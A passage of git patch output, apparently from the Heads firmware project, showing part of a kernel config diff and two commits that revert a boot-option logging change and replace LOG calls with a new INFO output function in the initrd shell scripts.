CONFIG_RTC_DRV_RX8111 is not set # CONFIG_RTC_DRV_RX8581 is not set # CONFIG_RTC_DRV_RX8025 is not set # CONFIG_RTC_DRV_EM3027 is not set @@ -2470,7 +2389,9 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_RTC_DRV_M48T35 is not set # CONFIG_RTC_DRV_M48T59 is not set # CONFIG_RTC_DRV_MSM6242 is not set +# CONFIG_RTC_DRV_BQ4802 is not set # CONFIG_RTC_DRV_RP5C01 is not set +# CONFIG_RTC_DRV_V3020 is not set # # on-CPU RTC drivers @@ -2494,6 +2415,7 @@ CONFIG_SYNC_FILE=y # CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options +# CONFIG_AUXDISPLAY is not set # CONFIG_UIO is not set # CONFIG_VFIO is not set # CONFIG_VIRT_DRIVERS is not set @@ -2509,16 +2431,15 @@ CONFIG_SYNC_FILE=y # CONFIG_GREYBUS is not set # CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_GOLDFISH is not set # CONFIG_CHROME_PLATFORMS is not set -# CONFIG_CZNIC_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set # CONFIG_SURFACE_PLATFORMS is not set CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_ACPI_WMI is not set # CONFIG_ACERHDF is not set # CONFIG_ACER_WIRELESS is not set -# CONFIG_AMD_WBRF is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set # CONFIG_ADV_SWBUTTON is not set # CONFIG_APPLE_GMUX is not set # CONFIG_ASUS_LAPTOP is not set @@ -2527,12 +2448,12 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_FUJITSU_LAPTOP is not set # CONFIG_FUJITSU_TABLET is not set # CONFIG_GPD_POCKET_FAN is not set -# CONFIG_X86_PLATFORM_DRIVERS_HP is not set +# CONFIG_HP_ACCEL is not set # CONFIG_WIRELESS_HOTKEY is not set # CONFIG_IBM_RTL is not set # CONFIG_SENSORS_HDAPS is not set -# CONFIG_INTEL_IFS is not set # CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set # # Intel Speed Select Technology interface support @@ -2553,8 +2474,6 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_INTEL_SMARTCONNECT is not set # CONFIG_INTEL_TURBO_MAX_3 is not set # CONFIG_INTEL_VSEC is not set -# CONFIG_ACPI_QUICKSTART is not set -# CONFIG_MSI_EC is not set # CONFIG_SAMSUNG_LAPTOP is not set # CONFIG_SAMSUNG_Q10 is not set # CONFIG_TOSHIBA_BT_RFKILL is not set @@ -2568,6 +2487,7 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_INTEL_SCU_PLATFORM is not set # CONFIG_SIEMENS_SIMATIC_IPC is not set # CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y @@ -2592,6 +2512,7 @@ CONFIG_MAILBOX=y CONFIG_PCC=y # CONFIG_ALTERA_MBOX is not set CONFIG_IOMMU_IOVA=y +CONFIG_IOASID=y CONFIG_IOMMU_API=y CONFIG_IOMMU_SUPPORT=y @@ -2605,7 +2526,6 @@ CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set CONFIG_IOMMU_DMA=y CONFIG_IOMMU_SVA=y -CONFIG_IOMMU_IOPF=y # CONFIG_AMD_IOMMU is not set CONFIG_DMAR_TABLE=y CONFIG_INTEL_IOMMU=y @@ -2613,8 +2533,6 @@ CONFIG_INTEL_IOMMU_SVM=y CONFIG_INTEL_IOMMU_DEFAULT_ON=y CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_INTEL_IOMMU_SCALABLE_MODE_DEFAULT_ON is not set -CONFIG_INTEL_IOMMU_PERF_EVENTS=y -# CONFIG_IOMMUFD is not set CONFIG_IRQ_REMAP=y # @@ -2666,8 +2584,6 @@ CONFIG_IRQ_REMAP=y # # end of Enable LiteX SoC Builder specific drivers -# CONFIG_WPCM450_SOC is not set - # # Qualcomm SoC drivers # @@ -2681,31 +2597,6 @@ CONFIG_IRQ_REMAP=y # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers -# -# PM Domains -# - -# -# Amlogic PM Domains -# -# end of Amlogic PM Domains - -# -# Broadcom PM Domains -# -# end of Broadcom PM Domains - -# -# i.MX PM Domains -# -# end of i.MX PM Domains - -# -# Qualcomm PM Domains -# -# end of Qualcomm PM Domains -# end of PM Domains - # CONFIG_PM_DEVFREQ is not set # CONFIG_EXTCON is not set # CONFIG_MEMORY is not set @@ -2716,7 +2607,6 @@ CONFIG_IRQ_REMAP=y # # IRQ chip support # -# CONFIG_LAN966X_OIC is not set # end of IRQ chip support # CONFIG_IPACK_BUS is not set @@ -2746,7 +2636,6 @@ CONFIG_GENERIC_PHY=y # # Performance monitor support # -# CONFIG_DWC_PCIE_PMU is not set # end of Performance monitor support # CONFIG_RAS is not set @@ -2764,7 +2653,6 @@ CONFIG_LIBNVDIMM=y # CONFIG_DAX is not set CONFIG_NVMEM=y # CONFIG_NVMEM_SYSFS is not set -# CONFIG_NVMEM_LAYOUTS is not set # CONFIG_NVMEM_RMEM is not set # @@ -2789,8 +2677,6 @@ CONFIG_NVMEM=y CONFIG_DCACHE_WORD_ACCESS=y # CONFIG_VALIDATE_FS_PARSER is not set CONFIG_FS_IOMAP=y -CONFIG_BUFFER_HEAD=y -CONFIG_LEGACY_DIRECT_IO=y # CONFIG_EXT2_FS is not set # CONFIG_EXT3_FS is not set CONFIG_EXT4_FS=y @@ -2808,7 +2694,6 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_BCACHEFS_FS is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set @@ -2817,6 +2702,7 @@ CONFIG_FILE_LOCKING=y # CONFIG_INOTIFY_USER is not set # CONFIG_FANOTIFY is not set # CONFIG_QUOTA is not set +# CONFIG_AUTOFS4_FS is not set # CONFIG_AUTOFS_FS is not set # CONFIG_FUSE_FS is not set # CONFIG_OVERLAY_FS is not set @@ -2824,6 +2710,7 @@ CONFIG_FILE_LOCKING=y # # Caches # +# CONFIG_FSCACHE is not set # end of Caches # @@ -2846,8 +2733,8 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" # CONFIG_FAT_DEFAULT_UTF8 is not set CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" -# CONFIG_NTFS3_FS is not set # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2863,6 +2750,7 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set # CONFIG_EFIVAR_FS is not set @@ -2934,11 +2822,9 @@ CONFIG_IO_WQ=y # # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set -CONFIG_PROC_MEM_ALWAYS_FORCE=y -# CONFIG_PROC_MEM_FORCE_PTRACE is not set -# CONFIG_PROC_MEM_NO_FORCE is not set CONFIG_SECURITYFS=y # CONFIG_INTEL_TXT is not set +CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set @@ -2962,13 +2848,6 @@ CONFIG_INIT_STACK_NONE=y # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization -# -# Hardening of kernel data structures -# -# CONFIG_LIST_HARDENED is not set -# CONFIG_BUG_ON_DATA_CORRUPTION is not set -# end of Hardening of kernel data structures - CONFIG_RANDSTRUCT_NONE=y # CONFIG_RANDSTRUCT_FULL is not set # CONFIG_RANDSTRUCT_PERFORMANCE is not set @@ -2984,7 +2863,6 @@ CONFIG_CRYPTO_ALGAPI=y CONFIG_CRYPTO_ALGAPI2=y CONFIG_CRYPTO_AEAD=y CONFIG_CRYPTO_AEAD2=y -CONFIG_CRYPTO_SIG2=y CONFIG_CRYPTO_SKCIPHER=y CONFIG_CRYPTO_SKCIPHER2=y CONFIG_CRYPTO_HASH=y @@ -3018,6 +2896,7 @@ CONFIG_CRYPTO_ECC=y CONFIG_CRYPTO_ECDH=y # CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set +# CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set # end of Public-key cryptography @@ -3044,12 +2923,14 @@ CONFIG_CRYPTO_AES=y # CONFIG_CRYPTO_ADIANTUM is not set # CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y +# CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y # CONFIG_CRYPTO_HCTR2 is not set # CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set +# CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y # end of Length-preserving ciphers and modes @@ -3119,9 +3000,6 @@ CONFIG_CRYPTO_DRBG_HMAC=y # CONFIG_CRYPTO_DRBG_CTR is not set CONFIG_CRYPTO_DRBG=y CONFIG_CRYPTO_JITTERENTROPY=y -CONFIG_CRYPTO_JITTERENTROPY_MEMORY_BLOCKS=64 -CONFIG_CRYPTO_JITTERENTROPY_MEMORY_BLOCKSIZE=32 -CONFIG_CRYPTO_JITTERENTROPY_OSR=1 # end of Random number generation # @@ -3134,6 +3012,7 @@ CONFIG_CRYPTO_USER_API_RNG=y # CONFIG_CRYPTO_USER_API_RNG_CAVP is not set CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set +# CONFIG_CRYPTO_STATS is not set # end of Userspace interface CONFIG_CRYPTO_HASH_INFO=y @@ -3159,8 +3038,6 @@ CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set # CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set # CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set -# CONFIG_CRYPTO_ARIA_AESNI_AVX2_X86_64 is not set -# CONFIG_CRYPTO_ARIA_GFNI_AVX512_X86_64 is not set # CONFIG_CRYPTO_CHACHA20_X86_64 is not set # CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set # CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set @@ -3195,6 +3072,7 @@ CONFIG_GENERIC_NET_UTILS=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y +CONFIG_GENERIC_PCI_IOMAP=y CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y @@ -3205,8 +3083,6 @@ CONFIG_ARCH_USE_SYM_ANNOTATIONS=y # CONFIG_CRYPTO_LIB_UTILS=y CONFIG_CRYPTO_LIB_AES=y -CONFIG_CRYPTO_LIB_AESCFB=y -CONFIG_CRYPTO_LIB_GF128MUL=y CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y # CONFIG_CRYPTO_LIB_CHACHA is not set # CONFIG_CRYPTO_LIB_CURVE25519 is not set @@ -3237,6 +3113,7 @@ CONFIG_LIBCRC32C=y CONFIG_XZ_DEC=y CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_POWERPC is not set +CONFIG_XZ_DEC_IA64=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set @@ -3249,32 +3126,26 @@ CONFIG_REED_SOLOMON=y CONFIG_REED_SOLOMON_DEC8=y CONFIG_INTERVAL_TREE=y CONFIG_HAS_IOMEM=y -CONFIG_HAS_IOPORT=y CONFIG_HAS_IOPORT_MAP=y CONFIG_HAS_DMA=y CONFIG_DMA_OPS=y -CONFIG_NEED_SG_DMA_FLAGS=y CONFIG_NEED_SG_DMA_LENGTH=y CONFIG_NEED_DMA_MAP_STATE=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y -# CONFIG_SWIOTLB_DYNAMIC is not set -CONFIG_DMA_NEED_SYNC=y # CONFIG_DMA_API_DEBUG is not set CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y # CONFIG_GLOB_SELFTEST is not set CONFIG_NLATTR=y # CONFIG_IRQ_POLL is not set -CONFIG_DIMLIB=y CONFIG_UCS2_STRING=y CONFIG_HAVE_GENERIC_VDSO=y CONFIG_GENERIC_GETTIMEOFDAY=y CONFIG_GENERIC_VDSO_TIME_NS=y -CONFIG_GENERIC_VDSO_OVERFLOW_PROTECT=y -CONFIG_VDSO_GETRANDOM=y CONFIG_FONT_SUPPORT=y # CONFIG_FONTS is not set CONFIG_FONT_8x8=y @@ -3282,16 +3153,12 @@ CONFIG_FONT_8x16=y CONFIG_SG_POOL=y CONFIG_ARCH_HAS_PMEM_API=y CONFIG_MEMREGION=y -CONFIG_ARCH_HAS_CPU_CACHE_INVALIDATE_MEMREGION=y CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y CONFIG_SBITMAP=y -# CONFIG_LWQ_TEST is not set # end of Library routines -CONFIG_FIRMWARE_TABLE=y - # # Kernel hacking # @@ -3318,7 +3185,7 @@ CONFIG_DEBUG_KERNEL=y # # Compile-time checks and compiler options # -CONFIG_AS_HAS_NON_CONST_ULEB128=y +CONFIG_AS_HAS_NON_CONST_LEB128=y CONFIG_DEBUG_INFO_NONE=y # CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set # CONFIG_DEBUG_INFO_DWARF4 is not set @@ -3345,7 +3212,7 @@ CONFIG_MAGIC_SYSRQ_SERIAL_SEQUENCE="" # CONFIG_DEBUG_FS is not set CONFIG_HAVE_ARCH_KGDB=y # CONFIG_KGDB is not set -CONFIG_ARCH_HAS_UBSAN=y +CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y # CONFIG_UBSAN is not set CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments @@ -3365,15 +3232,15 @@ CONFIG_HAVE_ARCH_KCSAN=y # CONFIG_DEBUG_PAGEALLOC is not set # CONFIG_SLUB_DEBUG is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y # CONFIG_DEBUG_WX is not set CONFIG_GENERIC_PTDUMP=y +# CONFIG_DEBUG_OBJECTS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set -# CONFIG_PER_VMA_LOCK_STATS is not set -# CONFIG_DEBUG_OBJECTS is not set # CONFIG_DEBUG_STACK_USAGE is not set # CONFIG_SCHED_STACK_END_CHECK is not set CONFIG_ARCH_HAS_DEBUG_VM_PGTABLE=y @@ -3385,7 +3252,6 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_PER_CPU_MAPS is not set CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y # CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set -# CONFIG_MEM_ALLOC_PROFILING is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y @@ -3407,26 +3273,21 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_HAVE_HARDLOCKUP_DETECTOR_BUDDY=y -CONFIG_HARDLOCKUP_DETECTOR=y -# CONFIG_HARDLOCKUP_DETECTOR_PREFER_BUDDY is not set CONFIG_HARDLOCKUP_DETECTOR_PERF=y -# CONFIG_HARDLOCKUP_DETECTOR_BUDDY is not set -# CONFIG_HARDLOCKUP_DETECTOR_ARCH is not set -CONFIG_HARDLOCKUP_DETECTOR_COUNTS_HRTIMER=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y +CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set CONFIG_WQ_WATCHDOG=y -# CONFIG_WQ_CPU_INTENSIVE_REPORT is not set # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs # # Scheduler Debugging # +CONFIG_SCHED_DEBUG=y # CONFIG_SCHEDSTATS is not set # end of Scheduler Debugging @@ -3452,7 +3313,6 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) -# CONFIG_NMI_CHECK_CPU is not set # CONFIG_DEBUG_IRQFLAGS is not set # CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set @@ -3465,9 +3325,12 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_PLIST is not set # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set +# CONFIG_BUG_ON_DATA_CORRUPTION is not set # CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures +# CONFIG_DEBUG_CREDENTIALS is not set + # # RCU Debugging # @@ -3476,7 +3339,6 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 -# CONFIG_RCU_CPU_STALL_CPUTIME is not set # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging @@ -3496,7 +3358,6 @@ CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y CONFIG_HAVE_OBJTOOL_MCOUNT=y -CONFIG_HAVE_OBJTOOL_NOP_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y From 8f7b1c41283a3b518ba3f171fa01721d86a88f68 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 13 Jan 2025 10:50:42 -0500 Subject: [PATCH 462/619] Revert "functions: remove DO_WITH_DEBUG call for kexec-parse-boot which redirects output to file used to show boot options in GUI" This reverts commit 618ff26d28edd55faf498563d293842f41124c71. This is not the proper way. Signed-off-by: Thierry Laurion --- initrd/etc/functions | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index db56d3d57..4da1087a4 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1176,7 +1176,7 @@ scan_boot_options() { if [ -r $option_file ]; then rm $option_file; fi for i in $(find $bootdir -name "$config"); do - kexec-parse-boot "$bootdir" "$i" >>$option_file + DO_WITH_DEBUG kexec-parse-boot "$bootdir" "$i" >>$option_file done # FC29/30+ may use BLS format grub config files # https://fedoraproject.org/wiki/Changes/BootLoaderSpecByDefault From 930d3e611481e4ef3583853f2367b7121ea5d264 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 13 Jan 2025 10:57:34 -0500 Subject: [PATCH 463/619] BUGFIX: replace direct calls from LOG to INFO, so that only DO_WITH_DEBUG uses LOG. INFO manages console output to log or console Quiet mode introduced output reduction to console to limit technical info provided to end users. Previous informational output (previous default) now outputs this now considered additional information through INFO() calls, which either outputs to console, or debug.log Only DO_WITH_DEBUG should call LOG directly, so that stderr+stdout output is prepended with LOG into debug.log This fixes previous implementation which called LOG in DO_WITH_DEBUG calls and modified expected output to files, which was observed by @3hhh in output of GRUB entries when selecting boot option. Signed-off-by: Thierry Laurion --- initrd/bin/cbfs-init | 4 +- initrd/bin/gui-init | 2 +- initrd/bin/kexec-insert-key | 2 +- initrd/bin/kexec-select-boot | 10 +- initrd/bin/qubes-measure-luks | 2 +- initrd/bin/tpmr | 8 +- initrd/etc/functions | 184 +++++++++++++++++----------------- initrd/init | 2 + initrd/sbin/insmod | 6 +- 9 files changed, 112 insertions(+), 108 deletions(-) diff --git a/initrd/bin/cbfs-init b/initrd/bin/cbfs-init index c82e8a239..651b9eaf0 100755 --- a/initrd/bin/cbfs-init +++ b/initrd/bin/cbfs-init @@ -24,12 +24,12 @@ for cbfsname in `echo $cbfsfiles`; do if [ ! -z "$filename" ]; then mkdir -p `dirname $filename` \ || die "$filename: mkdir failed" - LOG "Extracting CBFS file $cbfsname into $filename" + INFO "Extracting CBFS file $cbfsname into $filename" cbfs -t 50 $CBFS_ARG -r $cbfsname > "$filename" \ || die "$filename: cbfs file read failed" if [ "$CONFIG_TPM" = "y" ]; then TRACE_FUNC - LOG "TPM: Extending PCR[$CONFIG_PCR] with filename $filename and then its content" + INFO "TPM: Extending PCR[$CONFIG_PCR] with filename $filename and then its content" # Measure both the filename and its content. This # ensures that renaming files or pivoting file content # will still affect the resulting PCR measurement. diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index 1311963cb..7d4bf2eaa 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -553,7 +553,7 @@ reset_tpm() { mount -o rw,remount /boot #TODO: this is really problematic, we should really remove the primary handle hash - LOG "Removing rollback and primary handle hash under /boot" + INFO "Removing rollback and primary handle hash under /boot" rm -f /boot/kexec_rollback.txt rm -f /boot/kexec_primhdl_hash.txt diff --git a/initrd/bin/kexec-insert-key b/initrd/bin/kexec-insert-key index 68b9bed2c..ff95c1943 100755 --- a/initrd/bin/kexec-insert-key +++ b/initrd/bin/kexec-insert-key @@ -66,7 +66,7 @@ fi # Override PCR 4 so that user can't read the key TRACE_FUNC -LOG "TPM: Extending PCR[4] to prevent any future secret unsealing" +INFO "TPM: Extending PCR[4] to prevent any future secret unsealing" tpmr extend -ix 4 -ic generic || die 'Unable to scramble PCR' diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index 5b85a0b24..6a0edc6a7 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -82,10 +82,10 @@ if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then fi verify_global_hashes() { - LOG "+++ Checking verified boot hash file " + INFO "+++ Checking verified boot hash file " # Check the hashes of all the files if verify_checksums "$bootdir" "$gui_menu"; then - LOG "+++ Verified boot hashes " + INFO "+++ Verified boot hashes " valid_hash='y' valid_global_hash='y' else @@ -208,7 +208,7 @@ parse_option() { } scan_options() { - LOG "+++ Scanning for unsigned boot options" + INFO "+++ Scanning for unsigned boot options" option_file="/tmp/kexec_options.txt" scan_boot_options "$bootdir" "$config" "$option_file" if [ ! -s $option_file ]; then @@ -272,7 +272,7 @@ default_select() { if [ "$CONFIG_BASIC" != "y" ]; then # Enforce that default option hashes are valid - LOG "+++ Checking verified default boot hash file " + INFO "+++ Checking verified default boot hash file " # Check the hashes of all the files if (cd $bootdir && sha256sum -c "$TMP_DEFAULT_HASH_FILE" >/tmp/hash_output); then echo "+++ Verified default boot hashes " @@ -390,7 +390,7 @@ while true; do if [ ! -r "$TMP_KEY_DEVICES" ]; then # Extend PCR4 as soon as possible TRACE_FUNC - LOG "TPM: Extending PCR[4] to prevent further secret unsealing" + INFO "TPM: Extending PCR[4] to prevent further secret unsealing" tpmr extend -ix 4 -ic generic || die "Failed to extend TPM PCR[4]" fi diff --git a/initrd/bin/qubes-measure-luks b/initrd/bin/qubes-measure-luks index cc94c9c81..fc6ef2227 100755 --- a/initrd/bin/qubes-measure-luks +++ b/initrd/bin/qubes-measure-luks @@ -20,6 +20,6 @@ DEBUG "Removing /tmp/lukshdr-*" rm /tmp/lukshdr-* TRACE_FUNC -LOG "TPM: Extending PCR[6] with hash of LUKS headers from /tmp/luksDump.txt" +INFO "TPM: Extending PCR[6] with hash of LUKS headers from /tmp/luksDump.txt" tpmr extend -ix 6 -if /tmp/luksDump.txt || die "Unable to extend PCR" diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 391687984..756050e77 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -257,7 +257,7 @@ tpm2_extend() { esac done tpm2 pcrextend "$index:sha256=$hash" - LOG $(tpm2 pcrread "sha256:$index" 2>&1) + INFO $(tpm2 pcrread "sha256:$index" 2>&1) TRACE_FUNC DEBUG "TPM: Extended PCR[$index] with hash $hash" @@ -614,7 +614,7 @@ tpm2_unseal() { # stderr; capture stderr to log. if ! tpm2 unseal -Q -c "$handle" -p "session:$POLICY_SESSION$UNSEAL_PASS_SUFFIX" \ -S "$ENC_SESSION_FILE" >"$file" 2> >(SINK_LOG "tpm2 stderr"); then - LOG "Unable to unseal secret from TPM NVRAM" + INFO "Unable to unseal secret from TPM NVRAM" # should succeed, exit if it doesn't exit 1 @@ -800,7 +800,7 @@ if [ "$CONFIG_TPM2_TOOLS" != "y" ]; then fi TRACE_FUNC - LOG "TPM: Extending PCR[$3] with hash $hash" + INFO "TPM: Extending PCR[$3] with hash $hash" # Silence stdout/stderr, they're only useful for debugging # and DO_WITH_DEBUG captures them @@ -845,7 +845,7 @@ calcfuturepcr) ;; extend) TRACE_FUNC - LOG "TPM: Extending PCR[$2] with $4" + INFO "TPM: Extending PCR[$2] with $4" tpm2_extend "$@" ;; counter_read) diff --git a/initrd/etc/functions b/initrd/etc/functions index 4da1087a4..4bf449b0b 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -3,22 +3,22 @@ # ------- Start of functions coming from /etc/ash_functions die() { - if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then - echo -e " !!! ERROR: $* !!!" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; + if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then + echo -e " !!! ERROR: $* !!!" | tee -a /tmp/debug.log /dev/kmsg >/dev/null else - echo -e >&2 "!!! ERROR: $* !!!"; + echo -e "!!! ERROR: $* !!!" >&2 fi - sleep 2; - exit 1; + sleep 2 + exit 1 } warn() { - if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then - echo -e " *** WARNING: $* ***" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; + if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then + echo -e " *** WARNING: $* ***" | tee -a /tmp/debug.log /dev/kmsg >/dev/null else - echo -e >&2 " *** WARNING: $* ***"; + echo -e " *** WARNING: $* ***" >&2 fi - sleep 1; + sleep 1 } DEBUG() { @@ -31,25 +31,31 @@ DEBUG() { } TRACE() { - if [ "$CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" = "y" ];then - echo "TRACE: $*" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; + if [ "$CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" = "y" ]; then + echo "TRACE: $*" | tee -a /tmp/debug.log /dev/kmsg >/dev/null fi } -# Write directly to the debug log (but not kmsg), never appears on console -LOG() { +# Function to manage information output level to the console/debug.log +INFO() { + #TODO: add colors to output, here green for INFO? + # if not CONFIG_QUIET_MODE=y, output to console. If not, output to debug.log if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then - DEBUG "$*" - elif [ "$CONFIG_QUIET_MODE" = "y" ]; then - # if in quiet mode, output solely to debug.log - echo "$*" >> /tmp/debug.log + echo "$*" | tee -a /tmp/debug.log /dev/kmsg >/dev/null + elif [ "$CONFIG_QUIET_MODE" = "y" ]; then + echo "$*" >>/tmp/debug.log else - # if not in quiet mode, output to console echo "$*" fi } +# Write directly to the debug log (but not kmsg), never appears on console +# Main consumer is DO_WITH_DEBUG, which uses this to log command output +LOG() { + echo "LOG: $*" >>/tmp/debug.log +} + fw_version() { local FW_VER=$(dmesg | grep 'DMI' | grep -o 'BIOS.*' | cut -f2- -d ' ') # chop off date, since will always be epoch w/timeless builds @@ -59,16 +65,16 @@ fw_version() { preserve_rom() { TRACE_FUNC new_rom="$1" - old_files=`cbfs -t 50 -l 2>/dev/null | grep "^heads/"` + old_files=$(cbfs -t 50 -l 2>/dev/null | grep "^heads/") - for old_file in `echo $old_files`; do - new_file=`cbfs.sh -o $1 -l | grep -x $old_file` + for old_file in $(echo $old_files); do + new_file=$(cbfs.sh -o $1 -l | grep -x $old_file) if [ -z "$new_file" ]; then echo "+++ Adding $old_file to $1" - cbfs -t 50 -r $old_file >/tmp/rom.$$ \ - || die "Failed to read cbfs file from ROM" - cbfs.sh -o $1 -a $old_file -f 